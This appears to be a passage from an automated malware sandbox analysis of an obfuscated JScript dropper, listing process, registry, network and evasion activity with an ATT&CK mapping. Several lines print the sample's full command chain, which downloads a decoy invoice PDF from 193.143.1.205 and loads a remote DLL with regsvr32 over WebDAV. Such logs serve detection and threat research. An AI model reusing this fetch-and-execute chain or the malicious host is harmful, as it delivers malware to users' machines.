Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4633.js.csv");ITextStream.WriteLine(" entry:2400 f:holejo");ITextStream.WriteLine(" exec:2 f:holejo");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22qsbuaaaqc%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20amlbmax%3Dthis%5Brisiv%2Bfgokqav%2Bxyjftkyd%2Bixglqofu%2Bwzzwos%2Bjtebhkcx%2Bnjwdhnz%2Bneuezgzog%5D(this%5Bkprrazktk%2Bhtsdlk%2Bodljie");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4210			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5284			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep count: 4210 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep count: 5284 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5736	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2104	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2081906807.00000251592E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2084173432.00000251592E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085906554.00000251592E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:6wI
Source: net.exe, 00000007.00000003.2081906807.00000251592E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2084173432.00000251592E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085906554.00000251592E1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3311808967.000001A7A1E54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3310821728.000001A79C829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2085661356.0000025159278000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWph.YQ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
